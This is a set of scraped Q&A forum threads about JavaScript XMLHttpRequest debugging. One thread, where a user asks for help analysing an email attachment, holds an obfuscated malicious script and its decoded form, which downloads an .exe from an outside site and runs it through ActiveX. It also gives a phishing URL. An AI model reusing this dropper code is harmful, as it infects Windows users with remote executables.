I've been trying to get a url to open but I'm miffed as to why this hasn't worked. The code is listed and explained below. Any help will be deeply appreciated.
The object:
function getXMLHTTPRequest() {
var req = false;
try {
/* for Firefox */
req = new XMLHttpRequest();
} catch (err) {
try {
/* for some versions of IE */
req = new ActiveXObject("Msxml2.XMLHTTP");
} catch (err) {
try {
/* for some other versions of IE */
req = new ActiveXObject("Microsoft.XMLHTTP");
} catch (err) {
req = false;
}
}
}
return req;
}
The object is called like this:
<script type="text/javascript">
var myDelete = new getXMLHTTPRequest();
</script>
Now here's what I want to do:
function removeArticle(id) {
if (myDelete) {
try {
var deletUrl = "delete.php";
var query = deletUrl + "?theid=" + id;
myDelete.open("GET", query, true);
myDelete.onreadystatechange = removeArticleResponse;
myDelete.send(null);
} catch (e) {
alert ("Unable to connect to the server:\n" + e.toString());
}
} else {
alert ("Bad! Very BAD!");
}
}
When I do this:
if (myDelete.open("GET", query, true)) {
myDelete.onreadystatechange = removeArticleResponse;
myDelete.send(null);
} else {
alert ("No road!");
}
The alert("No road!"); shows me that the code doesn't execute passed this point:
if (myDelete.open("GET", query, true)) {
This means that the if (myDelete) { works. The code passes this stage and for some reason stops here: myDelete.open("GET", query, true); It won't open the url. I'm not sure what the problem is.
Edit: Here's the function used to access the server response:
function removeArticleResponse () {
if (myDelete.status == 4) {
if (myDelete.status == 200) {
try {
response = myDelete.responseText;
document.getElementById('displaynewsletterarticleresult').innerHTML = response;
} catch(e) {
alert("An error occured while reading the response:" + e.toString());
}
} else {
alert ("An error occured when attempting to retrieve the data:\n" + myDelete.statusText);
}
}
}
According to this, XMLHttpRequest.open() has no return value, so your check will always fail.
In your response function, do you mean to check .status == 4 instead of .readyState?
All xmlHTTPRequests are bound to the same origin policy. Maybe that's your issue.
You can read more about it at http://en.wikipedia.org/wiki/Same_origin_policy
Related
I have received an fake e-mail linking a website, ---DANGER--- kadiogluhotel.com/437019344HKFAHDzE9ykByni6Qd2TQSfkSYy2z7=
Q7FftdKRHHaY8y96R6H668tf8KaZ69ttKzhyRRayafkHeaDY79Q38887G9TD9aYKA66dH6/TmFu=
ZG8=3D/KaNTmFuZG8=3D/ ---DANGER--- that tries to download a zip file only if your browser user-agent is setted to some Windows configuration. This zip file contains a little js file and copy himself into the new folder.
I have tried to study the code but, really, I have been interested in javascript only since a few months. I need some help.
I have tried to execute the code in the chrome console over a debian virtual machine protected by firejail, but I have not been able to extract in plain text the returned function, "wxmvg",that is doing the work. The virus payload seems to be unable to run into linux, or I have not been able to detect it.
What steps should I take to decipher the function?
Thank you!
The code looks like:
--------WARNING MALWARE---------------------------
function fubrc()
{
var rshcb="a6c56d9745b875ef1553fcd44d2a59bbc5fd685eeaf10cb357eb955f4144a7874c3951fe544d9651bc276a5742d425fcac5dd9865a4b42a635cdc618a0545c4c42f905ce0f1cb3210cab53a5451d785cc9c5cc3052f5451ab753e8e5bc6919c0b4bce644a2a42cb149e104bd9b46b6151c8b42e6410ed048c445daa35ccc578a3e44a1e44fa940ced10c750db6a10c395ea0b55ba747c2310f4671d6653d1144a7e59af746b2b55e8f68c987fbc352d355afd855a9c53c3c44c5418c6212fa37dc0a63c2368e5f7ded27cb0e02fa81ec1068b8f7ddc47cd9d78f1864c7964d4d60c4b12d8619d3e0baa148de85dd855cf1d78ddd44a4544dd940c6b1ebf45fd8640d8155d2e5ea0718c6812be577a2975bb664e4a12d791cfe110a8845a1942a225cc881cea810bb956f1551af85cf8f43b4f55b6619f870bb9848c1e5dfe05cb4678ff644ae544dab40cff1ec3443fdb55a255ed8554d5518b0819c770be8659a2156f9f10fe218ebe48fd15de895cb2c78d4744abc44c0540fb61ef9f43f5d44f5951f1744fed45b4f43ac310cdf0db490dde510ecd02f8300d4700af819da710cea4bb1842c8555ca944e3945b1542acb5ea7e10d0f53a2051c995cad95cd5e52fba51b0d53fcf5badb18ee348f9b5df9d5cbe678f2344c0844b8340ecc1ef0062fb755c9643d6f40b175fa665ec2743d8155"+
"ac872bb55fe0d54d5949ea21cb4710b8856d9c51eef5cc0643c0355ecd19bc70ba6b4dd5755f005cac243d7a55c704bbc342d5c55f4044d7745a8b42f215eab010fd753e7d51cc45ca115cba552a7851f1f53a165bfd718fe35ecb145f075cd245ce341ce8f10a9544d4542d5645e2355bd319c4f0bc184deb04da0b53b8451b0c44c5153fc558a0710bd418c5855ca942e9442c0c5fbf542c2d19b034bb6f42c8855ec644a5045da542a9d5eb1710a4553ba751bce5cce55cb8c52f6951a8d53f185be2118f715eb8445dcd5ce1a5ce6a1cb9310e5844c6f42b1e45fe155ec719e1f0ba9a4de8a4dd6156b9045c8d5eef353e5444f2359ffe5fbce5eaf910fd157c8655ccd44a3574e2451ae844bb951c9818cc453cf251eae5ce375cb0352aa651c9853d075bad319d5b4bab844b3742c2149b244bf6c57e9855bfe44f9074aa751b5b44e6851caa76f1b42e6d5fa245deeb65b4042be35ce2c18b6112a5758cb144a9144e7740f880ae681fdab1fbfa47ccb47b1147b251ed0157db955d0e42a5751c3b5ceb754de557b625fa9342ab455c6c1ece853e015fea55db371fa235ecb255fe747fee43e1a1fa6101ebe07ca01ec9455dc648ac755b4312cf21cfb210fa256cc845ca45ec1d53e7644b1359d3e5fa635ebb218b8c42c4755c0443e1d45a7d5ce7544ca51cc5810c5c55d8942dc142"+
"c245fe9d42a8d19e0410f004baf559c7956fdd10d7518a2111a8355c6b42a7342e5c5fb2642f2419a8a4bd4842cdf55fee44f2845e7d42d045ef0910dc053e0b51ab35cf675cbb552a8451a4553d3b5bcc518f9d42b2a55fe443d1e45fc55ca1e44c381cd5b10efd56d6051e135cf4443c1455d9419d410bf614dfb355b575ce2643faa55c9a4bd5d57fad55a4744bc074b0f51b7044caf51e0e76b7a42ec45fc695dc3365b3742d735cbac18af312f6c58d4644d6b44b4940dbd0aa111fb531fdd947f1347d3247ff71ec9057f3e55d8342aef51e1f5ce3454ab157f825fe1542ea455b3c1eeee53e975fa075de071fe905eaa555a6c47b4c43c281ff7001c6007c321ef4a55b3548dec55b1812c2d1cb6110ac356d8045bef5ef6253f3544d7759fe75fd375eaa918efd42eea55a9343fb245d885cd5a44ec11cb9110f2455a3d42d2c42d1c5fa3642bd219c7910e1d4bdf059d4356de510f1818fb911c4055b7b42db942f2e5fbee42a9d19d224bfb142a9255d4d44ab145de742c025ee5410e8453f9c51f4d5cf105ce2252ea651fb153e715bbc018cbf42d0755e7e43d2345cf45cac644ace1cc9b10d7256dad51b105caa343c9055c3b19d000bfa74dac355a5b5cfd243e7c55fac4bbb857c4155aa344f4c74ce751f1444e2851dd676fbc42d875fbc35df4665f5e42e135cf7318a3312"+
"b2558fb344a8f44ee640b520ac261fffa1fffb47e0247ab447b151edde57fe855dd742e3b51a0d5cc7b54a4a57f445fe6e42aae55c5c1ecec53f005fb0c5dea71ff2d5ec3155ae447cd043bf41fb5801aa807e821ecba55ba648d7755cf012c101cf7710cb656dea45a265eded53d7944ba459d6a5fac95ed5018b1e42d6a55efa43deb45e9a5cf4244b9c1cd3210b4d55ff242b3342bc95feb742d6719b5e10e134ba6a59ffd56e1210fc118e2311a7f55d6a42efe42c455fc4542d5a19b294bae942ab655b9744b9c45b1342e115ee6510ab953c4c51a7f5cd8d5caa952cc251e3a53f7b5bf5b18e3242b4c55fa143cb845c5f5cb7944fd61ceb810c7f56b4351e255ce4943ff355f7f19bc30ba194dfc755aa35cd3943c6c55d4d4be4142c1e55dd744c2445d4542ae15ed1b10f0d53b1351ea75cf8a5ceda52e7851bd953d8c5bf0b18e3b5edd645c265cd2e5cef81cdc610bac44fea42b8245a5b55f2d19daa0be2c4dbad4dbab19f580ba034de624dca019dbd0bb9e4db1a4defb19d360bc6e4da1553d2d51ff344e7c53c1958b6110b9118e7e55de242a7742e985fb3042ae919bdf4ba5e42da655ded44df445d0442f005ea0310dd653bf551f325cd475cdc152e6151fef53a085bb5118e805ea1845c465cff95cf9b1cb3910b2d44bfd42be845d4c55f2419b350bf094da474dd1e56"+
"c4345e845efc253df244a0559f575fe905eb5310f7757b1755a7044b5264ded55d9c5df0640a6076c6359a085cb6f55d9e60eb651d1a44f9a58d3418bfc19ff34bb6844c6242e9849e2e4bf1b46a0b51f5442cd710d3556cd443d3010aae0da0810d705ed4055b6447e3910a9771d3053e0844a2a59d2546d4d55ac468d577fb9c52c7f5aa0855c2053ae444c1518aa712c5063b6653cea42e3359da040da444e2559d255ef0557aae1ec1476a4959ca85ca8a55b2663e0e49a9243c2444ddc55ef85de687fa7b52fc65aafc55f3d53a1844a2e12b8219c2f0bb1d46de351a2042ec610bf444eb75dfd740be976b4e59b025cbc355a827eb0351f8f5da0d55c0010f770dba710ff012d446cf816ce9812eb210a991bab310e2b7dcd251e2c44bcb58e7e1ea3742a1f51dea5ef2354b3d5fc1e5da9d18b7f19aba1ef0144fb45faf463e9444d5642f9959df05ede257c4818b4303eec06ea819ab61ecaf43d4345eea52c0943a2944a8c42dbe18f0e02d801ca0510cef09b9319c8210aea1bfec10b2512ebe1ee9955e3148d4055fa912fe20be8046e9951d4942c8a10f7744d7e5da6240ad576faf59b6d5cc4555a3d60dd251a4944ffe58a9710abb0dad010c0456bf043a6d1ec6177bfd55ce144ebe63ed940bd455ae153d6a59ea051ccf5cb4576b935faf35cbfd54aca55f2942e3918ecf02"+
"da919b3610a801bbc210cf144d2f5dc5b40aed76fde59bcb5ca7755f097eaa151dec5df8b55f2d0bd0242cc255a8f44abb45ed342b9b5ef0610f4644dfd5dbaf40a5976b0659ccc5cbf955ac660b1f51ed944bab58d500bc044dcb953e1351b6f44aad53db058efa10fc818b1255ea642d2e42f7a5fc6b42c9219c9b4bb1842ef655cb244ee345aec42c0d5ec7510aba56f4351f0b5cddc43eaa55b360bc264dd364dc9f56bf545de15eaa453b8d44aea59fe55fc485ef0910b3a43d8351cb246f4155f7b64eb35ffb364c8255fe55dacf40df118b7954cd551d9844d4d51b391ccf510d5c53deb51e285ceb75ce1d52c9a51f2353ba75bae919d774beeb44d0a42c9c49f794bb5946ab151f7242e0c10bab40e4351b3244ecb58d3510cea0de3f10c4057cf155dc044c2464ae855b405dc3740ad976b4859e205ce9d55c1b60ca951a2a44b4058f8d18cd119ffd0bc4159f4356c2b10b9c18a1840d3951b8b44e5458fb119f9f4bdf346db651f3742c7e10b8e5ff1252b505ae3d63bc944b8242a1e55b0b51d6d5dac510a1b0dabc10ae15eff355d2e47a5810b7871bb253e6744f7459a8446f8e55d0f68d6c7ffff52f135ab4055f8553f6a44b2118c3912fee71d9074d3f7fbec74bbc72ce11eea863b8c44ebf42e3255cd251c8a5de1c12e6c19d980bcf75fcd252e205ade563dd844f5642"+
"fad55cad51b845da2c1ec8a7fed940eb055d695eef718c0b19f770bdd15fc1952d105ac9163a7f44d7a42aee55fdf51a495defe1eb8c64bdd49f8f40cd755cdd10c750da0510e5201e760bc545fc9b52bd05aea163e2d44b9b42bf355cfb51ffe5ded71eb5a67cb342af159ffa44fcb55d2518b4454cb351a7144a5f51c7419adf0bbed5fbab52a785af1963a6c44bc842cff55c1351b895dd071ecf660b515fe5843c1859e1c44f5959ba85fa185eb7e10ff00db7910dac00da10ba225fd1252bc75aee163b2244f6842f3755c7c51ee75df021efa363e3351e8f46c5f55c0164d775fa3076c0159b9e5cd5055f1518ef840eff51e6444ecd58e641cb6710ece02ee919eac0bd6d5fe3b52b3a5ab2e63ceb44bf242c4755e3451e245dc1d1ea0373e765cfb85fce043c7955aa718a3a19d1c0bfff42e5f55f8944e7e45b2b42f8a5ecd210eec53c2f51eae5cf8f5cd7452d4a51a3253a845bf4b18c0940d8851bc044bc558b9b1ca4310cd656af951aee5cbc443e4c55db419e110bd5d4df8755d005cde843ae655d1610d634bf5642dd255fc244f6645d3d42aa85ef5710a5753cd851e7c5ce425ccbf52c9b51d6153ee35bf1c18bb25edc745e555cc3b5cb3f1cb8010bd244e7842e5745ae855e3319ebe0bca44dd264db5953b9e51fbd44e9453c8858f9810b7018c6555bbe42d6142ea55f"+
"cdc42ca819b014bce942eb155ce744e6c45ba842b5c5eb4710da553b1f51f685cec75ccc352c4351e3853d735ba0718ed05ec6445da55cd805ce671ccb410d3744fe042b0e45cb055f0819ced0bd994de114dd1657e7255be444da374bdc51a3944fe351b6218aea56ddb45d7b5ee7353a0344b4d59c7b5fb9f5ef6d10f0318ea254d4e51bd744acc51bc71cce010b7155e9942f4f42d285ffe242e9519ec310bdf4ba1a59c6a56a0110a8018d5d11dff55ebf42a0742c845fcb142cc119a574bf6e43f7851b2c46a0b55a9764e0e5fbe864d7355dde5ddd440a9918a5e54d0151bb044ac351cab1cc1b10e9356a3e45ecc5eac653dd044d6459daf5fbaa5ec2610a9618f6f40e6151e6c44f8058a371cdbb10e7755f0142c1342f3a5fae142af719acb10e834bc9559f3156d1710ec118a4111a1455f3342e4242b5f5fe3642a0f19c724bce244eff42ef349a244bbf646cb951ced42bee10f2047d9143f1e58fef10ffd0deef10a3d5ec9055a1947e6910e1071ca253c6344c2259bd146abe55ad368e5b7fc5b52a315ade255a7b53bd144c4318c9112cbb67cc063dad53b2342a3559aa540aca44e191ee7b63af558a7e55ffc5cc875cbc912cca19fd60bee347dc343ba058eb91ebcf62b0c45ee55ec4118e0d40d5a51e5044af758b2219fed0bb404db7453a7351bc644cbe53b5458e4910"+
"c5718e8855e5842f0b42cd35fdd942f3619b8110aa64bc994deec4dbf54dfd019bb40be324dace4dd0219ec00b";
var wxmvg;
while(true){
try
{
wxmvg=(new Function("tvxzi","var utwcv=tvxzi"+katho()+"/\\S{5}/g),vnosx=\"\",yrtpl"+katho()+"ile(yrtpl<utwcv"+katho()+"gth){vnosx+"+katho()+"e"+katho()+"utwcv[yrtpl].substr(3,2),16)^48);yrtpl++;}eval(vnosx);")(rshcb));
break;
}
catch(er)
{
}
}
return wxmvg;
}
function katho()
{
var lrxbf=new Array("_3da","_gda","=String.fromCharCod","(parseInt(",".match(","=0;wh",".len","_aas","-_ad");
return lrxbf[Math.floor(Math.random()*lrxbf.length)];
}
fubrc();
If you change the eval call to console.log it will print the code in the console instead of executing it.
Once you have the code you can run it thru a beautifier to make it readable, and you'll get something like this...
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
function getData(callback) {
try {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
} catch (error) {
return false;
}
}
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
getData(function(data, error) {
if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
});
}
});
What does it do? It takes advantage of crappy old Active X (for Internet Explorer users) by downloading an executable from the web, saving it to the user's computer and then executing it.
This in and of itself just downloads and executes a file and may or may not actually be malware. I did not inspect the executable nor the website they are downloaded from. For all I know this may be a tech support software.
I want to catch all errors with the help of TRY {} CATCH(){} when I send data to a server via XMLHttpRequest.
How can I receive all errors, such as net::ERR_INTERNET_DISCONNECTED, etc. ?
Try catches didn't work for me. I personally ended up testing for response == "" and status == 0.
var req = new XMLHttpRequest();
req.open("post", VALIDATE_URL, true);
req.onreadystatechange = function receiveResponse() {
if (this.readyState == 4) {
if (this.status == 200) {
console.log("We got a response : " + this.response);
} else if (!isValid(this.response) && this.status == 0) {
console.log("The computer appears to be offline.");
}
}
};
req.send(payload);
req = null;
Refer this,
function createXMLHttpRequestObject()
{
// xmlHttp will store the reference to the XMLHttpRequest object
var xmlHttp;
// try to instantiate the native XMLHttpRequest object
try
{
// create an XMLHttpRequest object
xmlHttp = new XMLHttpRequest();
}
catch(e)
{
try
{
xmlHttp = new ActiveXObject("Microsoft.XMLHttp");
}
catch(e) { }
}
// return the created object or display an error message
if (!xmlHttp)
alert("Error creating the XMLHttpRequest object.");
else
return xmlHttp;
}
You should put all the statements which you think that will cause an exception in a try block. After that you can give several catch statements - each one for one exception. In last you can give finally as well - this statement will be executed after Try block regardless of whether or not exception was thrown or caught.
Syntax can be like this:
try{
try_statements
}
[catch (exception_var_2) { catch_statements_1 }]
[catch (exception_var_2) { catch_statements_2 }]
...
[catch (exception_var_2) { catch_statements_N }]
[finally { finally_statements }]
Example:
try {
myroutine(); // may throw three exceptions
} catch (e if e instanceof TypeError) {
// statements to handle TypeError exceptions
} catch (e if e instanceof RangeError) {
// statements to handle RangeError exceptions
} catch (e if e instanceof EvalError) {
// statements to handle EvalError exceptions
} catch (e) {
// statements to handle any unspecified exceptions
logMyErrors(e); // pass exception object to error handler
}
You can read more here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch
I have the below code:
sendRequest : function(data){
var me = this;
this._createData(data);
try{
this.req.open(this.method,this.page,true);
this.req.onreadystatechange=function()
{
if (this.readyState==4 && this.status==200)
{
if(this.responseText)
var response = eval('(' + this.responseText + ')');
else
response = null;
me.callBack(response);
return false;
}
}
this.req.send(this.data);
} catch(err){
me.callBack(response);
}
},
It works fine, and returns what I expect it to return, but when the connection is lost, it doesn't go into the catch block. What I want to know is how catch the request when server page is not available.
Here's an example from Microsoft's doc page for onreadystatechange:
function reportStatus()
{
if (oReq.readyState == 4 /* complete */) {
if (oReq.status == 200 || oReq.status == 304) {
alert('Transfer complete.');
}
else {
// error occurred
}
}
}
var oReq = new XMLHttpRequest();
oReq.open("GET", "http://localhost/test.xml", true);
oReq.onreadystatechange = reportStatus;
oReq.send();
Look where it says // error occurred.
There is a similar code example on this MDN documentation page.
I set a setTimeout before I send the Ajax call:
var timeout = window.setTimeout("functionToCallOnTimeout()", 2000);
inside functionToCallOnTimeout I stop the call:
oReq.current=null;
On a positive answer I clear the timeout:
timeout = null;
Ok, I've created a working javascript ajax file, but it generates an absurd number of these dom exceptions. I'm not sure why that is, because from what I can see, all the elements I call are currently still in existance.
The code is here:
window.onload = function(){init();}
function init() {
ajax = ajaxInit();
setInterval(function(){ajaxContact(ajax);},2000);
ajaxContact(ajax);
ajax.onreadystatechange = function() {update(ajax);}
}
function ajaxInit() {
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
}
else {
if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
}
}
if (ajax) {
document.getElementById("status").innerHTML = "AJAX initialized";
return ajax;
}
else {
docuement.getElementById("status").innerHTML = "Error: AJAX not available";
return false;
}
}
function ajaxContact(ajax) {
try {
ajax.open("GET","updateAjax.php?" + "ran=" + Math.random(),true);
ajax.send();
}
catch (err) {
alert(err.message);
document.getElementById("status").innerHTML = "Error contacting server";
document.getElementById("loading").src = "images/redx.png";
}
}
function update(ajax) {
if (ajax.readyState==4 && ajax.status==200){
dataObj = eval('(' + ajax.responseText + ')');
document.getElementById("status").innerHTML = dataObj.status;
document.getElementById("frameNumber").innerHTML =
"Frame:" + dataObj.firstFrame + "/" + dataObj.lastFrame;
document.getElementById("thumbnail").src = dataObj.imgSrc;
}
if (ajax.status==404) {
document.getElementById("status").innerHTML = "Ajax updater not found";
document.getElementById("loading").src = "images/redx.png";
}
}
You are probably trying to call open and send on ajax, but it throws errors if the request has not finished within the two seconds between each call by setInterval. You need to check in each call whether the ajax object has been sent already or is ready for opening (check ajax.readyState).
In Chrome, the line
if (ajax.status==404) {
causes the error by accessing the status before ajax.readyState is HEADERS_RECEIVED (2), LOADING (3), DONE (4). Try making it
if (ajax.readyState == 4 && ajax.status==404) {
to make sure that the object is ready before accessing the status.
I am having an error when using new XMLHttpRequest() for the second time in JavaScript code called from textbox event on page.
My JavaScript finds suggestions for text entry from the SQL to do that I use xmlhttprequest, it does fine when it is the first time but when I keep typing in the text box I receive:
"typeerror: xmlhttprequest not a costructor"
(this error happens only in Firefox)
This is my code:
function fnNull() { };
function changeofstate(){
if (XMLHttpRequest.readyState == 4)
{
whatever ;
}
XMLHttpRequest.onreadystatechange = fnNull();
}
function whentextchange(){
var WebURL = "the url here ";
XMLHttpRequest = CreateXmlHttpObject(changeOfState);
XMLHttpRequest.open("GET", WebURL, true);
XMLHttpRequest.send(null);
XMLHttpRequestt.abort();
}
}
function CreateXmlHttpObject(handler) {
var objXmlHttpReq = null;
var Req = null;
if (navigator.userAgent.indexOf("Opera")>=0)
{
return ;
}
if (navigator.userAgent.indexOf("MSIE")>=0)
{
var strName="Msxml2.XMLHTTP";
if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
{
strName="Microsoft.XMLHTTP";
}
try
{
objXmlHttpReq=new ActiveXObject(strName);
objXmlHttpReq.onreadystatechange = handler;
return objXmlHttpReq;
}
catch(e)
{
return ;
}
}
if (navigator.userAgent.indexOf("Mozilla") >= 0) {
try
{
if (Req == null) {
Req = new XMLHttpRequest();
}
Req.onload = handler;
Req.onerror = handler;
return Req;
}
catch (e) {
alert(e);
alert(Req.responseText)
alert(e);
return;
}
}
}
You should name your request object something else than XMLHttpRequest. It might override the XMLHttpRequest object in the browser. Thus giving you the error.
XMLHttpRequest = CreateXmlHttpObject(changeOfState);
Assigning XMLHttpRequest variable like this is actually using global scope. You should use var and another variable name
var req = CreateXmlHttpObject(changeOfState);
Hope this clarifies.